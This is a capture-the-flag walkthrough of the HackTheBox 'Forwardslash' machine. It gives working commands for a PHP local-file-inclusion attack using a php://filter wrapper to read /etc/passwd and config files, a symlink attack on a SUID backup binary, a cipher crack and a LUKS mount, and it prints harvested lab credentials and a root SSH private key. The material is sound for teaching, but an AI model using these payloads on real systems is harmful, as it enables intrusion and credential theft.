Summary
I discovered a subdomain which had a semi-disabled picture upload functionality.
There was an LFI vulnerability in this page. I used the LFI in order to get the source of the files used on the page. I successfully gathered some credentials and logged into ssh.
I escalated my privileges to an other user by exploiting a custom built SUID binary.
Then I cracked a custom crypto by editing the source of it. Then I used the password I got to mount a backup image of root’s ssh private key. After all that I just logged in as root on ssh by supplying the key.
Box Information
Name | Forwardslash |
---|---|
OS: | Linux |
Difficulty: | Hard |
Points: | 40 |
Release: | 04 Apr 2020 |
IP: | 10.10.10.183 |
Recon
Nmap
nmap -p- -A -T4 10.10.10.183 -oN recon/nmap_big.txt
PORT | SERVICE | VERSION |
---|---|---|
22 | ssh | OpenSSH 7.6p1 |
80 | http | Apache httpd 2.4.29 |
10.10.10.183 - http - TCP 80
10.10.10.183 redirected me to forwardslash.htb
so I added it to my /etc/hosts file.
10.10.10.183 forwardslash.htb
forwardslash.htb - http - TCP 80
Subdomain enumeration
I used wfuzz
for subdomain enumeration.
wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.forwardslash.htb" http://forwardslash.htb
And I got the backup
subdomain!
I added backup.forwardslash.htb
to my /etc/hosts file.
10.10.10.183 forwardslash.htb backup.forwardslash.htb
backup.forwardslash.htb - http - TCP 80
I got automatically redirected to http://backup.forwardslash.htb/login.php.
I tried to login with admin:admin
and I got an interesting result.
No account found with that username.
The error is too much verbosive so I could enumerate all the correct users on this login page.
I created an account on the register page.
My creds: asd:asd123
And I gave the login asd:notmypass
:
The password you entered was not valid.
- I confirmed that I could enumerate users on the webpage with the verbosive error!
Logged In functionalities
I logged in with my correct credentials I created before and I got redirected to http://backup.forwardslash.htb/welcome.php.
The page had several options I could do with my accound but some of them didn’t work correctly. For instance I tried to change my password and it didn’t change.
The only working and also interesting page was the profile picture changer page http://backup.forwardslash.htb/profilepicture.php.
- The textbox and submit button was disabled BUT I could delete the
disabled=""
option in the page’s source(F12)!
I deleted these disabled=""
’s from the texbox and the submit button too in order to be able to test its functionalities.
I made the request with asd
in the textbox while I was capturing the request with burp.
My string(asd) was in the url
post parameter.
url=asd
My curl command(ease of use):
curl -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=asd'
- Note: PHPSESSID is NEEDED and it will be different if I change accounts on the page.
Exploitation
LFI
I tried to get an lfi by making the value of the asd parameter /etc/passwd
.
curl -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=/etc/passwd'
- I have an LFI!
I also tried to print out web files, for example index.php but there is a restriction for these(web) files.
curl -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=index.php'
Bypassing restrictions
I searched for php bypass lfi restrictions
and I found this medium article.
I used a php wrapper to get a fully working lfi!
url=php://filter/convert.base64-encode/resource=/etc/passwd
- This will encode the source of the file into base64 and this might bypass some basic restrictions.
I tried it with index.php and it WORKED!
curl -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=php://filter/convert.base64-encode/resource=index.php'
I decoded the last long base64 encoded line and I got the source!
echo 'dTw/cGhwCi8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKLy8gQ2hlY2sgaWYgdGhlIHVzZXIgaXMgbG9nZ2VkIGluLCBpZiBub3QgdGhlbiByZWRpcmVjdCBoaW0gdG8gbG9naW4gcGFnZQppZighaXNzZXQoJF9TRVNTSU9OWyJsb2dnZWRpbiJdKSB8fCAkX1NFU1NJT05bImxvZ2dlZGluIl0gIT09IHRydWUpewogICAgaGVhZGVyKCJsb2NhdGlvbjogbG9naW4ucGhwIik7CiAgICBleGl0Owp9IGVsc2UgewoJaGVhZGVyKCJsb2NhdGlvbjogLyIpOwoJZXhpdCgpOwp9Cj8+Cgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDx0aXRsZT5XZWxjb21lPC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iYm9vdHN0cmFwLmNzcyI+CiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgICAgIGJvZHl7IGZvbnQ6IDE0cHggc2Fucy1zZXJpZjsgdGV4dC1hbGlnbjogY2VudGVyOyB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGRpdiBjbGFzcz0icGFnZS1oZWFkZXIiPgogICAgICAgIDxoMT5IaSwgPGI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfU0VTU0lPTlsidXNlcm5hbWUiXSk7ID8+PC9iPi4gV2VsY29tZSB0byBvdXIgc2l0ZS48L2gxPgogICAgPC9kaXY+CiAgICA8cD4KICAgICAgICA8YSBocmVmPSJyZXNldC1wYXNzd29yZC5waHAiIGNsYXNzPSJidG4gYnRuLXdhcm5pbmciPlJlc2V0IFlvdXIgUGFzc3dvcmQ8L2E+CiAgICAgICAgPGEgaHJlZj0ibG9nb3V0LnBocCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIj5TaWduIE91dCBvZiBZb3VyIEFjY291bnQ8L2E+PGJyPjxicj4KCTxhIGhyZWY9ImhvZi5waHAiIGNsYXNzPSJidG4gYnRuLXdhcm5pbmciPkhhbGwgb2YgZmFtZTwvYT4KCTxhIGhyZWY9InByb2ZpbGVwaWN0dXJlLnBocCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIj5DaGFuZ2UgWW91ciBQcm9maWxlIFBpY3R1cmU8L2E+CiAgICA8L3A+CjwvYm9keT4KPC9odG1sPgo=' \
| base64 -d
Making the decryption more easy
I used tail
to get the last line of the curl output.
And I also used curl -s
to use curl’s stealth mode in order to remove the junk from the beginning of the output.
curl -s -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=php://filter/convert.base64-encode/resource=index.php' | tail -n 1 | base64 -d
- Now I have the source of the given file without any junk
- But changing the filename in the long command is a pain so I made a script for this purpose
lfi.sh(posix compliant btw):
|
|
I ran it on /etc/passwd
and index.php
too:
sh expl/lfi.sh "/etc/passwd"
sh expl/lfi.sh "index.php"
Interesting file contents
I started investingating the files on the server with my scritp.
Since I had /etc/passwd
’s content I could easily grep for users with shell from the output.
sh expl/lfi.sh "/etc/passwd" | grep bash
Users on the box (with bash as default shell) are: root
, pain
and chiv
.
I also take a look at login.php
and found out it included config.php
.
- Config files are always interesting
I took a look at config.php and I got database credentials!
sh expl/lfi.sh "config.php"
I also tried to get the contents of the dev
dir’s index.php
file which was only accessible from localhost when I tried to go there from my browser.
sh expl/lfi.sh "dev/index.php"
- I got a huge output but there were CREDS inside!
The Interesting lines are:
<!-- TODO:
Fix FTP Login
-->
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
- Credentials are:
chiv:N0bodyL1kesBack/
SSH login
I used the creds I previously got from the server in order to log into ssh.
ssh chiv@10.10.10.183
- I got in!
Privilege Escalation from chiv
Manual findings
I started searching for things manually.
Firstly I ran sudo -l
in order to dicover any command I’m able to run as root. But I didn’t get anything except a message which says I cannot run sudo on this box as chiv
.
I also started looking for SUID files.
find / -type f -perm /4000 2>/dev/null
- I got a lot of junk (like snap binaries, files inside /usr/lib) so I grepped these junks out.
find / -type f -perm /4000 2>/dev/null | grep -v 'snap\|lib'
/bin/fusermount
/bin/mount
/bin/ping
/bin/umount
/bin/su
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/backup
/usr/bin/newgidmap
- This is a more reasonable amount of files now
I removed the default linux suid files(I knew) from the list and I got only 1 unknown.
/usr/bin/backup
Further investigation of the backup SUID
I ran ls -l /usr/bin/backup
in order to get the owner of the SUID file.
-r-sr-xr-x 1 pain pain 13384 Mar 6 10:06 /usr/bin/backup
- The owner is
pain
I ran file /usr/bin/backup
in order to identify the type of the file.
/usr/bin/backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e0fcfb1c48fe0b5377774c1d237dc50ddfa41c08, not stripped
- It’s a dynamically linked elf file
I also ran it.
/usr/bin/backup
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 15:26:10
ERROR: 4d660ca797997dadd8087546022fcf88 Does Not Exist or Is Not Accessible By Me, Exiting...
- It’s a backup viewer
- It’s doing something with the current time (hour, minutes, seconds)
- It’s doing some crypto stuff. It hashes something to md5.
- It’s trying to access the hash as a file
I tried to hash the printed time with md5sum
and got the same hash!
Exploiting the custom SUID
I tried to make a file with my custom content. And I tried to set the name to the hash the program gave me.
filename=$(/usr/bin/backup | tail -n 1 | awk '{print $2}'); echo "ayyy" > $filename; /usr/bin/backup
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 15:44:05
ayyy
- It worked! My custom content got printed out!
Now I just need a file which can be read by user pain
and I just need to link that file to the time based hash file!
Searching useful for files owned by pain
find / -type f -user pain 2>/dev/null
I got some files
/var/backups/config.php.bak
/usr/bin/backup
/home/pain/.profile
/home/pain/user.txt
/home/pain/.bashrc
/home/pain/.bash_logout
/home/pain/encryptorinator/encrypter.py
/home/pain/encryptorinator/ciphertext
/home/pain/note.txt
/var/backups/config.php.bak
seems interesting!
I link this file to the current hash and try to get its contents.
filename=$(/usr/bin/backup | tail -n 1 | awk '{print $2}'); ln -s /var/backups/config.php.bak $filename; /usr/bin/backup
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
- I got access to
pain
’s credentials:pain:db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704
I also wrote a little wrapper for ease of use:
|
|
- Note: This must be saved on the box
Proof:
sh backupexp.sh "/etc/lsb-release"
Output:
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 16:20:58
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS"
I’ve successfully logged into ssh with the creds I got from the backup file!
ssh pain@10.10.10.183
Now, I was able to cat
out the user flag from /home/pain/user.txt
.
3480************************e670
Privilege Escalation from pain
Manual findings
I ran sudo -l
(as always) and I got some interesting permissions!
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/
There is a note.txt
file in pain’s home dir and there is also a directory named encryptorinator
.
note.txt:
Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key… I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.
-chiv
I found a pyhton script (encrypter.py) and an encrypted file (ciphertext) inside the encryptorinator directory.
I used scp
to copy them to my local machine.
scp pain@10.10.10.183:/home/pain/encryptorinator/* ./files/pain/
The original script:
|
|
I edited this file to try to crack the ciphertext file with rockyou.txt.
I just commented out the last 2 example lines. And added a decryptor part.
|
|
So the full script looks like this:
|
|
I ran the script with python2 encrypter.py
for half a minute and then <ctrl>+c
-ed out. I ran strings
on the file then grepped for the
because it is a usual word in a sentence.
strings output.txt | grep "the"
you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
- I got a password for a file!
/var/backups/recovery:cB!6%sdH8Lj^@Y*$C2cf
Exploiting LUKS
I searched for the use of LUKS and found this article: How to use LUKS.
- I created a mapper file (/dev/mapper/backup):
sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
- I named it backup because this is the only 1 I have permission to mount using sudo mount.
- I mounted it(firstly I made a dir
/dev/shm/mnt
and went to/dev/shm
):
mkdir /dev/shm/mnt
cd /dev/shm/
sudo /bin/mount /dev/mapper/backup ./mnt/
- I listed the files inside the mnt directory and there were only 1.
id_rsa
.
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf
yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc
u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu
NWS2x9PtPasWsWRPLMEPtzLhJOnHE3iVJuTnFFhp2T6CtmZui4TJH3pij6wYYis9
MqzTmFwNzzx2HKS2tE2ty2c1CcW+F3GS/rn0EQIDAQABAoIBAQCPfjkg7D6xFSpa
V+rTPH6GeoB9C6mwYeDREYt+lNDsDHUFgbiCMk+KMLa6afcDkzLL/brtKsfWHwhg
G8Q+u/8XVn/jFAf0deFJ1XOmr9HGbA1LxB6oBLDDZvrzHYbhDzOvOchR5ijhIiNO
3cPx0t1QFkiiB1sarD9Wf2Xet7iMDArJI94G7yfnfUegtC5y38liJdb2TBXwvIZC
vROXZiQdmWCPEmwuE0aDj4HqmJvnIx9P4EAcTWuY0LdUU3zZcFgYlXiYT0xg2N1p
MIrAjjhgrQ3A2kXyxh9pzxsFlvIaSfxAvsL8LQy2Osl+i80WaORykmyFy5rmNLQD
Ih0cizb9AoGBAP2+PD2nV8y20kF6U0+JlwMG7WbV/rDF6+kVn0M2sfQKiAIUK3Wn
5YCeGARrMdZr4fidTN7koke02M4enSHEdZRTW2jRXlKfYHqSoVzLggnKVU/eghQs
V4gv6+cc787HojtuU7Ee66eWj0VSr0PXjFInzdSdmnd93oDZPzwF8QUnAoGBAPhg
e1VaHG89E4YWNxbfr739t5qPuizPJY7fIBOv9Z0G+P5KCtHJA5uxpELrF3hQjJU8
6Orz/0C+TxmlTGVOvkQWij4GC9rcOMaP03zXamQTSGNROM+S1I9UUoQBrwe2nQeh
i2B/AlO4PrOHJtfSXIzsedmDNLoMqO5/n/xAqLAHAoGATnv8CBntt11JFYWvpSdq
tT38SlWgjK77dEIC2/hb/J8RSItSkfbXrvu3dA5wAOGnqI2HDF5tr35JnR+s/JfW
woUx/e7cnPO9FMyr6pbr5vlVf/nUBEde37nq3rZ9mlj3XiiW7G8i9thEAm471eEi
/vpe2QfSkmk1XGdV/svbq/sCgYAZ6FZ1DLUylThYIDEW3bZDJxfjs2JEEkdko7mA
1DXWb0fBno+KWmFZ+CmeIU+NaTmAx520BEd3xWIS1r8lQhVunLtGxPKvnZD+hToW
J5IdZjWCxpIadMJfQPhqdJKBR3cRuLQFGLpxaSKBL3PJx1OID5KWMa1qSq/EUOOr
OENgOQKBgD/mYgPSmbqpNZI0/B+6ua9kQJAH6JS44v+yFkHfNTW0M7UIjU7wkGQw
ddMNjhpwVZ3//G6UhWSojUScQTERANt8R+J6dR0YfPzHnsDIoRc7IABQmxxygXDo
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----
- I saved it and tried to login as root with this ssh key.
ssh -i files/id_rsa root@10.10.10.183
- I got in without any pasword!
Now I got root so I got access to the root flag (/root/root.txt
):
12c0************************ae93